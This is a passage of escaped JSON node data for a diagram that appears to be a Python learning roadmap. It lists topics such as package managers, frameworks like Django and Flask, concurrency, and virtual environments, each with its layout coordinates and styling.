\"width\": 276,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -248.16916540260297,\n        \"y\": 657.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AqwzR8dZKLQIoj_6KKZ3t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -202.66916540260297,\n        \"y\": 734.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -202.66916540260297,\n        \"y\": 734.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S0FLE70szSVUPI0CDEQK7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -202.66916540260297,\n        \"y\": 787.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -202.66916540260297,\n        \"y\": 787.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zAS4YiEJ6VPsyABrkIG8i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -202.66916540260297,\n        \"y\": 840.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Methods, Dunder\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -202.66916540260297,\n        \"y\": 840.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qeCMw-sJ2FR4UxvU9DDzv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -461.23327447982547,\n        \"y\": 418.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -461.23327447982547,\n        \"y\": 418.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1dfOTOGsOk5XE3bnZs8Ht\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -461.23327447982547,\n        \"y\": 222.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PyPI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -461.23327447982547,\n        \"y\": 222.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iVhQnp6hpgVZDNJ0XoVra\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -357.23327447982547,\n        \"y\": 222.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pip\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p3Frfs6oxpuciUzeCEsvb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -357.23327447982547,\n        \"y\": 222.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uh67D1u-Iv5cZamRgFEJg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -461.23327447982547,\n        \"y\": 275.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conda\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -461.23327447982547,\n        \"y\": 275.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uXd2B01GVBEQNXQE8RATT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -461.23327447982547,\n        \"y\": 328.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Poetry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -461.23327447982547,\n        \"y\": 328.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4gtmtYWYRWqwLdZRL0XMg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 668.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"List Comprehensions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 668.7304293708296\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jnLIVRrWxcX3yq3Op91Vr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 721.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generator Expressions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223\n      },\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 721.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4GU5HNi3W8yFkImVY9ZpW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 774.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Paradigms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 774.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KAXF2kUAOvtBZhY8G9rkI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -621.1730553753519,\n        \"y\": 827.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Context Manager\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -621.1730553753519,\n        \"y\": 827.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0-ShORjGnQlAdcwjtxdEB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": 922.73046875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn a Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": 922.73046875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xOUj3Uz6UZgm7j6RvIvDO\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1136.7821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchronous\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 27,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 27.41717529296875\n      },\n      \"positionAbsolute\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1136.7821121205188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 27\n      }\n    },\n    {\n      \"id\": \"DHtskqATeAVKgaazdhXKD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1081.842978409371\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pyramid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1081.842978409371\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7zcpXN3krnS3tMRWVNIVe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1028.842978409371\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Plotly Dash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -605.0754215575712,\n        \"y\": 1028.842978409371\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FFy2S2eFDyahPltEzucF8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -428.86083334739004,\n        \"y\": 1132.2821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronous\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -428.86083334739004,\n        \"y\": 1132.2821121205188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"InUJIGmTnf0X4cSoLuCEQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -457.82311768204903,\n        \"y\": 1028.7821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gevent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -457.82311768204903,\n        \"y\": 1028.7821121205188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IBVAvFtN4mnIPbIuyUvEb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -352.4492068228141,\n        \"y\": 1028.7821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"aiohttp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -352.4492068228141,\n        \"y\": 1028.7821121205188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zey2C6BdzsHJAlb_K3qrP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -457.82311768204903,\n        \"y\": 1081.7821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tornado\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -457.82311768204903,\n        \"y\": 1081.7821121205188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9RGpqsj9jHz0_-r7EvRcw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -352.4492068228141,\n        \"y\": 1081.7821121205188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sanic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -352.4492068228141,\n        \"y\": 1081.7821121205188\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NYOaEGM47I2oqnroxyVZV\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -551.5754215575712,\n        \"y\": 1183.2645121406858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchronous + Asynchronous\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -551.5754215575712,\n        \"y\": 1183.2645121406858\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"XeQSmvAsGSTi8dd7QVHxn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -600.8947642441506,\n        \"y\": 1224.64342674736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fast API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -600.8947642441506,\n        \"y\": 1224.64342674736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x1V8GjdjANTnhP6YXMbgC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -488.39476424415045,\n        \"y\": 1224.64342674736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Django\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -488.39476424415045,\n        \"y\": 1224.64342674736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HKsGyRzntjh1UbRZSWh_4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -362.89476424415045,\n        \"y\": 1224.64342674736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flask\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -362.89476424415045,\n        \"y\": 1224.64342674736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u4nRzWQ4zhDFMOrZ2I_uJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -201.6003273267287,\n        \"y\": 922.73046875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -201.6003273267287,\n        \"y\": 922.73046875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bS7WeVKm2kEElu3sBKcIC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1123.7962000920706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GIL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1123.7962000920706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UIx0XYaOgXXlYbbQtjiPq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1176.7962000920706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Threading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1176.7962000920706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HSY5OUc_M5S6OcFXPRtkx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1017.7962000920706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Multiprocessing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1017.7962000920706\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mow7RvropbC4ZGDpcGZmw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1070.7962000920706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchrony\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -201.6003273267287,\n        \"y\": 1070.7962000920706\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p3Frfs6oxpuciUzeCEsvb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -357.23327447982547,\n        \"y\": 275.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"uv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -357.23327447982547,\n        \"y\": 275.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GHKAY9gOykEbxkEeR30wL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -611.7332744798255,\n        \"y\": 565.0807887739926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pyproject.toml\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -611.7332744798255,\n        \"y\": 565.0807887739926\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yDP0K1gXlDmVSgTtGJaPY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -578.31263469232,\n        \"y\": 619.0807887739926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Configuration\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 144\n      },\n      \"positionAbsolute\": {\n        \"x\": -578.31263469232,\n        \"y\": 619.0807887739926\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"IWq-tfkz-pSC1ztZl60vM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.79817070787664,\n        \"y\": 763.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pipenv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 77.79817070787664,\n        \"y\": 763.1504012205187\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_IXXTSwQOgYzYIUuKVWNE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.79817070787664,\n        \"y\": 816.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"virtualenv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 77.79817070787664,\n        \"y\": 816.1504012205187\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N5VaKMbgQ0V_BC5tadV65\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.79817070787664,\n        \"y\": 869.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pyenv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 46\n      },\n      \"positionAbsolute\": {\n        \"x\": 77.79817070787664,\n        \"y\": 869.1504012205187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"lkST4ErYyBfrCcpsuptzh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 77.79817070787664,\n        \"y\": 926.1504012205187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Environments\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 34,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 33.95526123046875\n      },\n      \"positionAbsolute\": {\n        \"x\": 77.79817070787664,\n        \"y\": 926.1504012205187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      